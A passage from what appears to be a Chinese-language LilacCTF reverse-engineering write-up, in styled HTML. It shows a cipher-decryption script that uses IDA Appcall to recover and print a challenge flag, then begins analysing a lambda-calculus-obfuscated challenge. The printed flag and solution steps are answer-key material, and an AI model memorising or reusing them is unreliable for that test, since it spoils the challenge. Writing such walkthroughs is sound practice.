#d19a66;line-height: 26px;"><span leaf="">0xf1058c24</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x2aa9e3e6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7c9960ab</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1dfa44f8</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xdfde13e6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb1eda4ec</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x79c84cbb</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xec255766</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xae2bee89</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xbeed6ee1</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x9e51a3b6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4a61c8f5</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x442489c3</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x0054cf01</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x330e8292</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8b46f776</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xe4f5a900</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x7f44ce43</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xf47024f6</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x94544823</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x789eba95</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xb3066287</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4ad6f1a4</span></span><span leaf="">,</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x1e85d4cc</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rol32</span></span><span style="line-height: 26px;"><span leaf="">(x, n)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x &lt;&lt; (n &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">) | (x &gt;&gt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf=""> - (n &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">)))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ror32</span></span><span style="line-height: 26px;"><span leaf="">(x, n)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (x &gt;&gt; (n &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">)) | ((x &lt;&lt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf=""> - (n &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">31</span></span><span leaf="">))) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">g</span></span><span style="line-height: 26px;"><span leaf="">(x)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> idc.Appcall.gFunc(ctx_ptr, x &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">decrypt_block</span></span><span style="line-height: 26px;"><span leaf="">(ct_bytes)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">u32le</span></span><span style="line-height: 26px;"><span leaf="">(b, off)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (b[off] | (b[off+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) | (b[off+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) | (b[off+</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] &lt;&lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">        r = [</span><span leaf=""><br/></span><span leaf="">            u32le(ct_bytes, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">) ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">],</span><span leaf=""><br/></span><span leaf="">            u32le(ct_bytes, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">) ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">],</span><span leaf=""><br/></span><span leaf="">            u32le(ct_bytes, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">],</span><span leaf=""><br/></span><span leaf="">            u32le(ct_bytes, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">) ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">        ]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> round_idx </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> round_idx &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] = r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] = r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">], r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">            t0 = g(r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">            t1 = g(rol32(r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">))</span><span leaf=""><br/></span><span leaf="">            f0 = (t0 + t1 + K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf=""> + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> * round_idx]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">            f1 = (t0 + (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> * t1) + K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf=""> + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> * round_idx]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">            r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] = (rol32(r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">) ^ f0) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">            r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] = (ror32(r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] ^ f1, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">        p = [</span><span leaf=""><br/></span><span leaf="">            (r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            (r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            (r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            (r[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] ^ K[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">        ]</span><span leaf=""><br/></span><span leaf="">        out = []</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> val </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> p:</span><span leaf=""><br/></span><span leaf="">            out += [val &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">, (val &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">, (val &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">, (val &gt;&gt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">24</span></span><span leaf="">) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFF</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out</span><span leaf=""><br/></span><span leaf="">    ct_hex = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;A20492152735B4F6ECBAA359DB64417BDF277A73B085666034CF38E748D8FBD4&#34;</span></span><span leaf=""><br/></span><span leaf="">    ct_bytes = bytes.fromhex(ct_hex)</span><span leaf=""><br/></span><span leaf="">    pt = decrypt_block(ct_bytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">]) + decrypt_block(ct_bytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> pt </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> pt[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        pt.pop()</span><span leaf=""><br/></span><span leaf="">    token = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">.join(map(chr, pt))</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Token: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{token}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;Hex: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{bytes(pt).hex()}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    decrypt()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mkwhn226-e46m6i" style="color: #576B95 !important;" data-topic="1">#LilacCTF</a>{I_ju3t_w@nnA_b3_hapPy}</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">λm</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在 AST 里识有出 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">3 个 Z 调用</span></strong><span leaf="">：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">读取输入 ，主逻辑与一个辅助递归逻辑。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">输入 32 字节（256 bits）映射成一个固定结构的巨大布尔二叉树，叶子全是 Church Bool。拓展成一个 256 *256 的矩阵，</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">每修改一位，矩阵会出现 256 位的变化，初步猜测可能是 行列 填充 或者是 circulant matrix 的对角线填充 。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">出现了 8 次 [lambda __: lambda _: _, lambda __: lambda _: _</span><em style="color: rgb(0, 0, 0);font-style: italic;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">][</span></em><span leaf=""> &amp; 1] 的处理，猜测是 256（32 * 8） ，应该是对输入逐位处理。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">还有 4 个纯常量（闭包环境为空）生成的 256-bit bit-tree</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">。</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">感觉前面的不太对，重新整理一下：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">类似于：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">core = Z(arg0_lambda)(arg1_expr)(ID)(node16_value)</span><span leaf=""><br/></span><span leaf="">result = core(TRUE)(1)(0)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Z = lambda f: (lambda x: f(lambda v: x(x)(v)))(lambda x: f(lambda v: x(x)(v)))</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">ID = lambda x: x</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">node16_value = node16.func( input_expr_value )</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">arg0_lambda：一个 闭包（无自由变量） 的递归函数生成器（用于比较/递归遍历）</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">arg1_expr：一个 巨大常量结构</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">node16.func 是必包的，能单独 eval 出来。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3 个 z_call：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Z_call0: gen_arity=4, has_subscript=False</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Z_call1: gen_arity=4, has_subscript=True</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Z_call2: gen_arity=4, has_subscript=False</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">z_call0 应该是主函数，z_call1 时读取并处理数据 ，z_call2 暂且认为是个辅助递归函数。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在 z_call1 里：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">TRUE = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> t: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> f: t)</span><span leaf=""><br/></span><span leaf="">FALSE = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> t: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> f: f)</span><span leaf=""><br/></span><span leaf="">PAIR = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> a: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span 